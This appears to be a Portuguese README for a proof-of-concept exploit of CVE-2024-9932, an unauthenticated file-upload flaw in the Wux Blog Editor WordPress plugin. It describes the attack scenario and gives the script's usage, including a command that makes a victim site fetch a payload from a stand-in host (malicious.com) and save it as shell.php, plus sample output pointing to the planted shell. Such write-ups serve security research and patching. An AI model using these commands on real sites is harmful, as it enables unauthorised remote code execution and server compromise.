
Exploit de prova de conceito para CVE-2024-9932, uma vulnerabilidade de upload arbitrário de arquivos sem autenticação no plugin Wux Blog Editor para WordPress, permitindo execução remota de código via upload de arquivo malicioso.
O plugin Wux Blog Editor para WordPress é vulnerável a upload arbitrário de arquivos devido à validação insuficiente de tipos de arquivo na função wuxbt_insertImageNew. As versões até e incluindo 3.0.0 são afetadas. Esta vulnerabilidade permite que atacantes não autenticados façam upload de arquivos arbitrários para o servidor, potencialmente levando à execução remota de código (RCE).
A vulnerabilidade decorre da validação inadequada de tipos de arquivo na função wuxbt_insertImageNew. Isso permite que atacantes façam upload de arquivos maliciosos para o servidor sem autenticação.
Cenário de Ataque:
O atacante identifica um site que utiliza o plugin vulnerável.
Explora a funcionalidade de upload de arquivos para enviar um shell PHP malicioso.
Executa comandos no servidor comprometido.
usage:CVE-2024-9932.py [-h] -u URL -ur REMOTE_URL [-n NAME]
Wux Blog Editor - Arbitrary File Upload
options:
-h, --help show this help message and exit
-u URL, --url URL Base URL of the WordPress server, e.g., http://192.168.100.74/wordpress
-ur REMOTE_URL, --remote-url REMOTE_URL
Remote file URL, e.g., http://192.168.100.54/shell.txt
-n NAME, --name NAME Desired file name, e.g., Nxploit.php
python CVE-2024-9932.py -u http://victim-site.com/wordpress -ur http://malicious.com/payload.txt -n shell.php
Exemplo de Upload Bem-sucedido
1- Arquivo Encontrado:
2- Resultado da Execução: Navegue até a URL do arquivo para executar o payload.
[+] File found: http://192.168.100.74/wordpress/wp-content/uploads/2025/01/shell.php
Esta ferramenta é apenas para fins educacionais. O uso não autorizado deste script em sistemas sem permissão é ilegal.